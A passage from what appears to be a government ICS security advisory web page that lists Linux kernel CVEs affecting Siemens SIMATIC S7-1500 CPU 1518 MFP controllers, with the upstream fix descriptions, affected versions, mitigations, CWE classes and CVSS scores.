<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/366.html">CWE-366 Race Condition within a Thread</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38704</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: rcu/nocb: Fix possible invalid rdp's-&gt;nocb_cb_kthread pointer access In the preparation stage of CPU online, if the corresponding the rdp's-&gt;nocb_cb_kthread does not exist, will be created, there is a situation where the rdp's rcuop kthreads creation fails, and then de-offload this CPU's rdp, does not assign this CPU's rdp-&gt;nocb_cb_kthread pointer, but this rdp's-&gt;nocb_gp_rdp and rdp's-&gt;rdp_gp-&gt;nocb_gp_kthread is still valid. This will cause the subsequent re-offload operation of this offline CPU, which will pass the conditional check and the kthread_unpark() will access invalid rdp's-&gt;nocb_cb_kthread pointer. This commit therefore use rdp's-&gt;nocb_gp_kthread instead of rdp_gp's-&gt;nocb_gp_kthread for safety check.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38704">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38721</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: ctnetlink: fix refcount leak on table dump There is a reference count leak in ctnetlink_dump_table(): if (res &lt; 0) { nf_conntrack_get(&amp;ct-&gt;ct_general); // HERE cb-&gt;args[1] = (unsigned long)ct; ... While its very unlikely, its possible that ct == last. If this happens, then the refcount of ct was already incremented. This 2nd increment is never undone. This prevents the conntrack object from being released, which in turn keeps prevents cnet-&gt;count from dropping back to 0. This will then block the netns dismantle (or conntrack rmmod) as nf_conntrack_cleanup_net_list() will wait forever. This can be reproduced by running conntrack_resize.sh selftest in a loop. It takes ~20 minutes for me on a preemptible kernel on average before I see a runaway kworker spinning in nf_conntrack_cleanup_net_list. One fix would to change this to: if (res &lt; 0) { if (ct != last) nf_conntrack_get(&amp;ct-&gt;ct_general); But this reference counting isn't needed in the first place. We can just store a cookie value instead. A followup patch will do the same for ctnetlink_exp_dump_table, it looks to me as if this has the same problem and like ctnetlink_dump_table, we only need a 'skip hint', not the actual object so we can apply the same cookie strategy there as well.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38721">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/772.html">CWE-772 Missing Release of Resource after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38725</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: usb: asix_devices: add phy_mask for ax88772 mdio bus Without setting phy_mask for ax88772 mdio bus, current driver may create at most 32 mdio phy devices with phy address range from 0x00 ~ 0x1f. DLink DUB-E100 H/W Ver B1 is such a device. However, only one main phy device will bind to net phy driver. This is creating issue during system suspend/resume since phy_polling_mode() in phy_state_machine() will directly deference member of phydev-&gt;drv for non-main phy devices. Then NULL pointer dereference issue will occur. Due to only external phy or internal phy is necessary, add phy_mask for ax88772 mdio bus to workarnoud the issue.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38725">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38727</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netlink: avoid infinite retry looping in netlink_unicast() netlink_attachskb() checks for the socket's read memory allocation constraints. Firstly, it has: rmem &lt; READ_ONCE(sk-&gt;sk_rcvbuf) to check if the just increased rmem value fits into the socket's receive buffer. If not, it proceeds and tries to wait for the memory under: rmem + skb-&gt;truesize &gt; READ_ONCE(sk-&gt;sk_rcvbuf) The checks don't cover the case when skb-&gt;truesize + sk-&gt;sk_rmem_alloc is equal to sk-&gt;sk_rcvbuf. Thus the function neither successfully accepts these conditions, nor manages to reschedule the task - and is called in retry loop for indefinite time which is caught as: rcu: INFO: rcu_sched self-detected stall on CPU rcu: 0-....: (25999 ticks this GP) idle=ef2/1/0x4000000000000000 softirq=262269/262269 fqs=6212 (t=26000 jiffies g=230833 q=259957) NMI backtrace for cpu 0 CPU: 0 PID: 22 Comm: kauditd Not tainted 5.10.240 #68 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-4.fc42 04/01/2014 Call Trace: dump_stack lib/dump_stack.c:120 nmi_cpu_backtrace.cold lib/nmi_backtrace.c:105 nmi_trigger_cpumask_backtrace lib/nmi_backtrace.c:62 rcu_dump_cpu_stacks kernel/rcu/tree_stall.h:335 rcu_sched_clock_irq.cold kernel/rcu/tree.c:2590 update_process_times kernel/time/timer.c:1953 tick_sched_handle kernel/time/tick-sched.c:227 tick_sched_timer kernel/time/tick-sched.c:1399 __hrtimer_run_queues kernel/time/hrtimer.c:1652 hrtimer_interrupt kernel/time/hrtimer.c:1717 __sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1113 asm_call_irq_on_stack arch/x86/entry/entry_64.S:808 netlink_attachskb net/netlink/af_netlink.c:1234 netlink_unicast net/netlink/af_netlink.c:1349 kauditd_send_queue kernel/audit.c:776 kauditd_thread kernel/audit.c:897 kthread kernel/kthread.c:328 ret_from_fork arch/x86/entry/entry_64.S:304 Restore the original behavior of the check which commit in Fixes accidentally missed when restructuring the code. Found by Linux Verification Center (linuxtesting.org).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38727">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/835.html">CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38732</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_reject: don't leak dst refcount for loopback packets recent patches to add a WARN() when replacing skb dst entry found an old bug: WARNING: include/linux/skbuff.h:1165 skb_dst_check_unset include/linux/skbuff.h:1164 [inline] WARNING: include/linux/skbuff.h:1165 skb_dst_set include/linux/skbuff.h:1210 [inline] WARNING: include/linux/skbuff.h:1165 nf_reject_fill_skb_dst+0x2a4/0x330 net/ipv4/netfilter/nf_reject_ipv4.c:234 [..] Call Trace: nf_send_unreach+0x17b/0x6e0 net/ipv4/netfilter/nf_reject_ipv4.c:325 nft_reject_inet_eval+0x4bc/0x690 net/netfilter/nft_reject_inet.c:27 expr_call_ops_eval net/netfilter/nf_tables_core.c:237 [inline] .. This is because blamed commit forgot about loopback packets. Such packets already have a dst_entry attached, even at PRE_ROUTING stage. Instead of checking hook just check if the skb already has a route attached to it.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38732">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/911.html">CWE-911 Improper Update of Reference Count</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.8</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38736</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: usb: asix_devices: Fix PHY address mask in MDIO bus initialization Syzbot reported shift-out-of-bounds exception on MDIO bus initialization. The PHY address should be masked to 5 bits (0-31). Without this mask, invalid PHY addresses could be used, potentially causing issues with MDIO bus operations. Fix this by masking the PHY address with 0x1f (31 decimal) to ensure it stays within the valid range.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38736">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39681</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: x86/cpu/hygon: Add missing resctrl_cpu_detect() in bsp_init helper Since 923f3a2b48bd ("x86/resctrl: Query LLC monitoring properties once during boot") resctrl_cpu_detect() has been moved from common CPU initialization code to the vendor-specific BSP init helper, while Hygon didn't put that call in their code. This triggers a division by zero fault during early booting stage on our machines with X86_FEATURE_CQM* supported, where get_rdt_mon_resources() tries to calculate mon_l3_config with uninitialized boot_cpu_data.x86_cache_occ_scale. Add the missing resctrl_cpu_detect() in the Hygon BSP init helper. [ bp: Massage commit message. ]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39681">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/369.html">CWE-369 Divide By Zero</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39691</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fs/buffer: fix use-after-free when call bh_read() helper There's issue as follows: BUG: KASAN: stack-out-of-bounds in end_buffer_read_sync+0xe3/0x110 Read of size 8 at addr ffffc9000168f7f8 by task swapper/3/0 CPU: 3 UID: 0 PID: 0 Comm: swapper/3 Not tainted 6.16.0-862.14.0.6.x86_64 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996) Call Trace: dump_stack_lvl+0x55/0x70 print_address_description.constprop.0+0x2c/0x390 print_report+0xb4/0x270 kasan_report+0xb8/0xf0 end_buffer_read_sync+0xe3/0x110 end_bio_bh_io_sync+0x56/0x80 blk_update_request+0x30a/0x720 scsi_end_request+0x51/0x2b0 scsi_io_completion+0xe3/0x480 ? scsi_device_unbusy+0x11e/0x160 blk_complete_reqs+0x7b/0x90 handle_softirqs+0xef/0x370 irq_exit_rcu+0xa5/0xd0 sysvec_apic_timer_interrupt+0x6e/0x90 Above issue happens when do ntfs3 filesystem mount, issue may happens as follows: mount IRQ ntfs_fill_super read_cache_page do_read_cache_folio filemap_read_folio mpage_read_folio do_mpage_readpage ntfs_get_block_vbo bh_read submit_bh wait_on_buffer(bh); blk_complete_reqs scsi_io_completion scsi_end_request blk_update_request end_bio_bh_io_sync end_buffer_read_sync __end_buffer_read_notouch unlock_buffer wait_on_buffer(bh);--&gt; return will return to caller put_bh --&gt; trigger stack-out-of-bounds In the mpage_read_folio() function, the stack variable 'map_bh' is passed to ntfs_get_block_vbo(). Once unlock_buffer() unlocks and wait_on_buffer() returns to continue processing, the stack variable is likely to be reclaimed. Consequently, during the end_buffer_read_sync() process, calling put_bh() may result in stack overrun. If the bh is not allocated on the stack, it belongs to a folio. Freeing a buffer head which belongs to a folio is done by drop_buffers() which will fail to free buffers which are still locked. So it is safe to call put_bh() before __end_buffer_read_notouch().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39691">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.4</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39721</a></h3>
<div class="csaf-accordion-content">
